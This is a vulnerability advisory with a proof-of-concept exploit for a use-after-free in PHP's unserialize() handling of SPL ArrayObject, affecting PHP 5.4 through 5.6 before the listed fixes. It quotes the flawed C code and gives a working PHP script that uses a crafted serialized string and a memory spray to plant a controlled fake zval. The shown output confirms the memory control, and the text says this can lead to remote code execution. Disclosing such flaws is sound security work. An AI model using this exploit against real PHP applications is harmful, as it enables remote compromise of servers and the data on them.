PHP SPL ArrayObject Use-After-Free

`#Use After Free Vulnerability in unserialize() with SPL ArrayObject  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.7.30 - Release Date: 2015.8.7  
  
> A use-after-free vulnerability was discovered in unserialize() with SPL ArrayObject object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.12  
Affected is PHP 5.5 < 5.5.28  
Affected is PHP 5.4 < 5.4.44  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
  
```  
if (*p!= 'x' || *++p != ':') {  
goto outexcept;  
}  
++p;  
  
ALLOC_INIT_ZVAL(pflags);  
if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash  
TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {  
zval_ptr_dtor(&pflags);  
goto outexcept;  
}  
  
--p; /* for ';' */  
flags = Z_LVAL_P(pflags);  
zval_ptr_dtor(&pflags); <=== free memory  
  
...  
  
/* members */  
if (*p!= 'm' || *++p != ':') {  
goto outexcept;  
}  
++p;  
  
ALLOC_INIT_ZVAL(pmembers);  
if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash  
TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {  
zval_ptr_dtor(&pmembers);  
goto outexcept;  
}  
  
/* copy members */  
if (!intern->std.properties) {  
rebuild_object_properties(&intern->std);  
}  
zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers),  
(copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));  
zval_ptr_dtor(&pmembers); <=== free memory  
  
/* done reading $serialized */  
  
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);  
return;  
```  
  
The zval_ptr_dtor() leads to &pflags and &pmembers are freed from  
memory. However the unserialize() will still allow to use R: or r: to  
set references to that already freed memory. It is possible to  
use-after-free attack and execute arbitrary code remotely.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.  
  
```  
<?php  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
$inner = 'x:i:1234;a:0:{};m:a:0:{}';  
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';  
  
$data = unserialize($exploit);  
  
for ($i = 0; $i < 5; $i++) {  
$v[$i] = $fakezval.$i;  
}  
  
var_dump($data);  
  
function ptr2str($ptr)  
{  
$out = "";  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line:  
  
```  
$ php uafpoc.php  
array(2) {  
[0]=>  
object(ArrayObject)#1 (1) {  
["storage":"ArrayObject":private]=>  
array(0) {  
}  
}  
[1]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
}  
```  
  
  
`